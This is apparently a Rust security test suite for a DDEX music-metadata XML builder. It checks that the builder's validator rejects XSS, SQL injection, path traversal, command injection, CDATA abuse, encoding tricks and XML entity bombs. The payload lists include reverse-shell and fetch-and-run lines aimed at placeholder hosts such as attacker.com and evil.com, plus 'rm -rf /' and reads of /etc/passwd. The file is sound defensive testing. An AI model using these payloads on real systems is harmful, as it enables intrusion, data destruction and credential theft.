use ddex_builder::{
builder::DDEXBuilder,
error::BuildError,
security::{InputValidator, SecurityConfig},
};
use serde_json::json;
#[test]
fn test_xml_injection_in_ddex_fields() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let xml_injection_title = r#"<ddex:NewReleaseMessage>
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText>Test Song]]></ddex:TitleText><ddex:Injected>malicious content</ddex:Injected><ddex:TitleText><![CDATA[</ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(xml_injection_title);
let xml_injection_artist = r#"<ddex:NewReleaseMessage>
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReleaseResourceReferenceList>
<ddex:ReleaseResourceReference>
<ddex:DisplayArtist>
<ddex:PartyName>Artist Name</script><script>alert('XSS')</script><![CDATA[</ddex:PartyName>
</ddex:DisplayArtist>
</ddex:ReleaseResourceReference>
</ddex:ReleaseResourceReferenceList>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(xml_injection_artist);
let malicious_json = json!({
"messageHeader": {
"messageId": "MSG001",
"messageThreadId": "THREAD001"
},
"releases": [{
"title": "Test Song<script>alert('xss')</script>",
"artists": ["Artist</artist><malicious>injection</malicious><artist>"]
}]
});
let builder = DDEXBuilder::new();
let result = builder.validate_json_input(&malicious_json.to_string());
assert!(
result.is_err(),
"JSON with XML injection should be rejected: {:?}",
result
);
}
#[test]
fn test_script_injection_attempts() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let script_payloads = vec![
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src='javascript:alert(1)'></iframe>",
"<body onload=alert('XSS')>",
"<input onfocus=alert('XSS') autofocus>",
"<select onfocus=alert('XSS') autofocus>",
"<textarea onfocus=alert('XSS') autofocus>",
"<keygen onfocus=alert('XSS') autofocus>",
"<video><source onerror=alert('XSS')>",
"<audio src=x onerror=alert('XSS')>",
];
for payload in script_payloads {
let test_fields = vec![
("TitleText", format!("<ddex:TitleText>{}</ddex:TitleText>", payload)),
("PartyName", format!("<ddex:PartyName>{}</ddex:PartyName>", payload)),
("LabelName", format!("<ddex:LabelName>{}</ddex:LabelName>", payload)),
("Comment", format!("<ddex:Comment>{}</ddex:Comment>", payload)),
];
for (field_name, xml_content) in test_fields {
let full_xml = format!(r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">{}</ddex:NewReleaseMessage>"#, xml_content);
let result = validator.validate_xml_content(&full_xml);
match result {
Err(BuildError::Security(msg)) | Err(BuildError::InputSanitization(msg)) => {
assert!(
msg.contains("injection") || msg.contains("script") || msg.contains("dangerous"),
"Script injection not properly detected in {} field: {}",
field_name, msg
);
}
Ok(_) => {
let string_result = validator.validate_string(payload, field_name);
assert!(
string_result.is_err(),
"Script injection should be detected in string validation for {} field: {:?}",
field_name, payload
);
}
Err(e) => {
println!("Payload rejected with error for {}: {:?}", field_name, e);
}
}
}
}
}
#[test]
fn test_sql_injection_in_metadata() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let sql_payloads = vec![
"'; DROP TABLE users; --",
"' OR '1'='1",
"' UNION SELECT * FROM passwords --",
"'; INSERT INTO logs VALUES ('hacked'); --",
"' OR 1=1 --",
"admin'--",
"admin'/*",
"1' OR '1'='1",
"'; EXEC xp_cmdshell('dir'); --",
"1' AND 1=1 --",
"' OR 'a'='a",
"') OR '1'='1 --",
"' waitfor delay '00:00:10' --",
];
for payload in sql_payloads {
let result = validator.validate_string(payload, "metadata_field");
assert!(
result.is_err(),
"SQL injection payload should be detected: {:?}",
payload
);
let malicious_json = json!({
"messageHeader": {
"messageId": payload,
"messageThreadId": "THREAD001"
},
"releases": [{
"title": payload,
"isrc": payload
}]
});
let builder = DDEXBuilder::new();
let result = builder.validate_json_input(&malicious_json.to_string());
assert!(
result.is_err(),
"SQL injection in JSON should be rejected: {:?}",
payload
);
}
}
#[test]
fn test_path_traversal_attacks() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let path_traversal_payloads = vec![
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
"..%252F..%252F..%252Fetc%252Fpasswd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"....\\....\\....\\etc\\passwd",
"..//////..//////etc/passwd",
"....\\/....\\/....\\/etc/passwd",
"/etc/passwd%00.txt",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"/proc/self/environ",
"/dev/null",
];
for payload in path_traversal_payloads {
let result = validator.validate_path(payload);
assert!(
result.is_err(),
"Path traversal should be detected: {:?}",
payload
);
let result = validator.validate_string(payload, "file_path");
let xml_with_path = format!(r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ResourceList>
<ddex:SoundRecording>
<ddex:TechnicalSoundRecordingDetails>
<ddex:File>{}</ddex:File>
</ddex:TechnicalSoundRecordingDetails>
</ddex:SoundRecording>
</ddex:ResourceList>
</ddex:NewReleaseMessage>"#, payload);
let _ = validator.validate_xml_content(&xml_with_path);
}
}
#[test]
fn test_command_injection_attempts() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let command_payloads = vec![
"; cat /etc/passwd;",
"| whoami",
"& dir &",
"`id`",
"$(whoami)",
"|| ls -la",
"&& echo 'hacked'",
"; rm -rf / ;",
"| nc attacker.com 4444 -e /bin/sh",
"; wget http://evil.com/malware.sh | bash;",
"$(curl evil.com/payload)",
"`wget -O - evil.com/script | sh`",
];
for payload in command_payloads {
let result = validator.validate_string(payload, "command_field");
let xml_with_pi = format!(r#"<?xml version="1.0"?>
<?command {}?>
<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:MessageHeader>
<ddex:MessageId>TEST</ddex:MessageId>
</ddex:MessageHeader>
</ddex:NewReleaseMessage>"#, payload);
let result = validator.validate_xml_content(&xml_with_pi);
}
}
#[test]
fn test_cdata_section_abuse() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let cdata_script = r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText><![CDATA[<script>alert('XSS in CDATA')</script>]]></ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(cdata_script);
let cdata_sql = r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText><![CDATA['; DROP TABLE albums; --]]></ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(cdata_sql);
let nested_cdata = r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText><![CDATA[Normal content <![CDATA[nested]]> more content]]></ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(nested_cdata);
let malformed_cdata = r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText><![CDATA[Content without proper end</ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(malformed_cdata);
assert!(result.is_err(), "Malformed CDATA should be rejected");
}
#[test]
fn test_encoding_manipulation() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let url_encoded = "%3Cscript%3Ealert('XSS')%3C/script%3E";
let result = validator.validate_string(url_encoded, "encoded_field");
let double_encoded = "%253Cscript%253Ealert('XSS')%253C/script%253E";
let result = validator.validate_string(double_encoded, "encoded_field");
let html_encoded = "<script>alert('XSS')</script>";
let result = validator.validate_string(html_encoded, "html_field");
let mixed_encoded = "%3Cscript%3Ealert('XSS')%3C/script%3E";
let result = validator.validate_string(mixed_encoded, "mixed_field");
let unicode_escaped = "\\u003cscript\\u003ealert('XSS')\\u003c/script\\u003e";
let result = validator.validate_string(unicode_escaped, "unicode_field");
let hex_encoded = "\\x3Cscript\\x3Ealert('XSS')\\x3C/script\\x3E";
let result = validator.validate_string(hex_encoded, "hex_field");
let base64_payload = "PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="; let result = validator.validate_string(base64_payload, "base64_field");
if result.is_ok() {
if let Ok(decoded) = base64::engine::general_purpose::STANDARD.decode(base64_payload) {
if let Ok(decoded_str) = String::from_utf8(decoded) {
let decoded_result = validator.validate_string(&decoded_str, "decoded_field");
assert!(decoded_result.is_err(), "Decoded malicious content should be rejected");
}
}
}
}
#[test]
fn test_unicode_normalization_attacks() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let unicode_attacks = vec![
"\u{FF1C}script\u{FF1E}", "<script>", "\u{2039}script\u{203A}", "‹script›",
"јаvascript", "ѕcript",
"sc\u{200B}ript", "scr\u{200C}ipt", "scri\u{200D}pt", "scrip\u{FEFF}t",
"s\u{0300}cript", "sc\u{0301}ript",
"\u{202E}tpircs",
"script\u{0000}", "script\u{0001}", ];
for attack in unicode_attacks {
let result = validator.validate_string(attack, "unicode_field");
let xml_content = format!(r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText>{}</ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#, attack);
let xml_result = validator.validate_xml_content(&xml_content);
}
}
#[test]
fn test_ddex_specific_xml_bombs() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let ddex_entity_bomb = r#"<!DOCTYPE ddex:NewReleaseMessage [
<!ENTITY boom "BOOM! ">
<!ENTITY boom2 "&boom;&boom;&boom;&boom;&boom;">
<!ENTITY boom3 "&boom2;&boom2;&boom2;&boom2;&boom2;">
]>
<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>
<ddex:Release>
<ddex:ReferenceTitle>
<ddex:TitleText>&boom3;</ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#;
let result = validator.validate_xml_content(ddex_entity_bomb);
assert!(result.is_err(), "DDEX entity bomb should be blocked");
let mut large_ddex = String::from(r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">
<ddex:ReleaseList>"#);
for i in 0..1000 {
large_ddex.push_str(&format!(r#"
<ddex:Release>
<ddex:ReleaseId>
<ddex:ISRC>TEST{:06}</ddex:ISRC>
</ddex:ReleaseId>
<ddex:ReferenceTitle>
<ddex:TitleText>Test Release {} with very long title text that repeats many times to create a large document structure that might cause memory exhaustion in XML parsers</ddex:TitleText>
</ddex:ReferenceTitle>
</ddex:Release>"#, i, i));
}
large_ddex.push_str(r#"
</ddex:ReleaseList>
</ddex:NewReleaseMessage>"#);
let result = validator.validate_xml_content(&large_ddex);
let mut deep_nested_ddex = String::from(r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43">"#);
for i in 0..50 {
deep_nested_ddex.push_str(&format!("<ddex:Level{}>", i));
}
deep_nested_ddex.push_str("DEEP CONTENT");
for i in (0..50).rev() {
deep_nested_ddex.push_str(&format!("</ddex:Level{}>", i));
}
deep_nested_ddex.push_str("</ddex:NewReleaseMessage>");
let result = validator.validate_xml_content(&deep_nested_ddex);
}
#[test]
fn test_malicious_json_to_xml_conversion() {
let builder = DDEXBuilder::new();
let malicious_json = json!({
"messageHeader": {
"messageId": "MSG001",
"messageThreadId": "THREAD001"
},
"releases": [{
"title": "<![CDATA[Safe content]]><script>alert('XSS')</script><![CDATA[]]>",
"artists": ["Artist</ddex:PartyName><ddex:MaliciousElement>injected</ddex:MaliciousElement><ddex:PartyName>"],
"isrc": "US123456789<!--comment--><injection>test</injection>"
}]
});
let result = builder.validate_json_input(&malicious_json.to_string());
assert!(
result.is_err(),
"Malicious JSON should be rejected before XML conversion: {:?}",
result
);
let entity_json = json!({
"messageHeader": {
"messageId": "&xxe;",
"messageThreadId": "THREAD&entity;"
},
"releases": [{
"title": "&malicious_entity;",
"artists": ["&script_injection;"]
}]
});
let result = builder.validate_json_input(&entity_json.to_string());
assert!(
result.is_err(),
"JSON with entity references should be rejected: {:?}",
result
);
}